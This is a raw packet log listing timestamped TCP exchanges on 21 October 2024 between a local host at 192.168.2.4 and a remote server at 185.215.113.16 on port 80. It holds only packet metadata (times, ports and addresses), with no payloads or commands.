Oct 21, 2024 10:47:10.745822906 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:10.745995998 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.746026039 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.746036053 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.746083975 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:10.746154070 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.746171951 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.746227026 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:10.746723890 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.746735096 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.746743917 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.746783018 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:10.746797085 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.746808052 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.746906996 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:10.747526884 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.747538090 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.747591972 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:10.747607946 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.747626066 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.747668982 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:10.747701883 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.747713089 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.747764111 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:10.747769117 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.747791052 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.747801065 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.747811079 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.747824907 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:10.747854948 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:10.747881889 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.747891903 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.747965097 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:10.749113083 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.749123096 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.749177933 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:10.750302076 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.750355005 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.750369072 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.750379086 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.750413895 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.750430107 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.750432014 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:10.750474930 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:10.751596928 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.751646996 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.751657963 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:10.751698017 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:10.751790047 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.751808882 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.751820087 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.751838923 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:10.751867056 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:10.752217054 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.752257109 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.752265930 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.752275944 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.752294064 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:10.752343893 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:10.752384901 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.752396107 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.752444983 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:10.752584934 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.752676010 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.752686024 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.752695084 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.752707005 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.752760887 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.752774000 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:10.752775908 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.752823114 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:10.753643036 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.753654957 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.753665924 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.753675938 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.753710985 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:10.753758907 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:10.753793955 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.753853083 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.753863096 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.753874063 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.753920078 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:10.833751917 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.833784103 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.833888054 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:11.077523947 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.077538013 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.077548027 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.077558041 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.077567101 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.077578068 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.077586889 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.077596903 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.077608109 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.077615023 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.077626944 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.077646017 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.077656031 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.077671051 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.077682018 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.077691078 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.077709913 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.077721119 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.077728987 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.077739954 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.077750921 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.077760935 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.077770948 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.077780008 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.077790976 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.077800035 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.077810049 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.077820063 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.077838898 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.077847004 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.077856064 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.077867985 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.077881098 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.077891111 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.077902079 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.077910900 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.077920914 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.077933073 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.077943087 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.077954054 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.077965021 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.077975035 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.077986002 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.078007936 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.078026056 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.078037024 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.078047991 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.078058958 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.078068018 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.078078985 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.078088999 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.078097105 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.078108072 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.078119040 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.078135014 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.078151941 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.078161955 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.078172922 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.078181028 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.078191996 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.078201056 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.078211069 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.078227043 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.078238010 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.078247070 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.078257084 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.078267097 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.078274965 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.078291893 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.078305960 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.078315020 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.078331947 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.078342915 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.078351974 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.078368902 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.078380108 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.078389883 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.078398943 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.078408957 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.078421116 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.078430891 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.078439951 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.078463078 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.078474998 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.078484058 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.078494072 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.078643084 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.078655005 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.078665018 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.078675985 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.078686953 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.078696012 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.078710079 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.078720093 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.078728914 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.078738928 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.078748941 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.078758955 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.078767061 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.078782082 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.078790903 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.078809023 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.078819036 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.078826904 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.078836918 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.078849077 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.078859091 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.078871012 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.078881025 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.078888893 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.078891039 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:11.078901052 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.078912020 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.078919888 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.078931093 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.078943014 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.078953028 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.078959942 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:11.078963041 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.078974009 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.078984022 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.078994989 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.078998089 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:11.079005003 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.079015970 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.079026937 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.079030037 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:11.079036951 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.079047918 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.079060078 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.079070091 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.079087019 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.079097986 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.079106092 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.079117060 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.079127073 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.079137087 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.079147100 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.079158068 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.079168081 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.079178095 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.079191923 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.079201937 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.079211950 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.079222918 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.079241991 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.079261065 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.079269886 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:11.079271078 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.079282045 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.079293013 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.079302073 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.079302073 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:11.079313040 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.079324007 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.079333067 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:11.079333067 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.079345942 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.079355001 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.079364061 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.079375029 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.079391003 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.079401016 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.079410076 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.079421043 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.079430103 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.079441071 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.079448938 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:11.079451084 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.079461098 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.079469919 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.079478025 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:11.079484940 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.079494953 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.079498053 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:11.079504967 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.079515934 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.079524040 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.079534054 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.079544067 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.079555035 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.079565048 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.079574108 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.079582930 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:11.079583883 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.079596043 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.079605103 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.079621077 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.079622984 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:11.079633951 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.079643965 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.079730988 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:11.079771996 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:11.080522060 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:11.080581903 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:11.080615997 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:11.080652952 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:11.080693007 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:11.080744982 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:11.103945017 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.104001045 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.104011059 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.104095936 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:11.207173109 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.207232952 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.207246065 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.207257032 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.207268953 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.207293987 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:11.207334995 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:11.207771063 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.207783937 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.207793951 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.208097935 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.208146095 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.208157063 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.208167076 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.208231926 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:11.208738089 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.208790064 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:11.208812952 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.208823919 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.208834887 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.208868027 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:11.208898067 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:11.209184885 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.209197998 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.209209919 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.209219933 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.209281921 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.209383011 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.209398031 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.209625959 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.209647894 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.209656954 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.209667921 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.209877014 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:11.209929943 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:11.210100889 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.210115910 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.210125923 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.210135937 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.210191011 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.210221052 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:11.210272074 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:11.210433960 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.210447073 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.210457087 CEST	80	49855	185.215.113.16	192.168.2.4
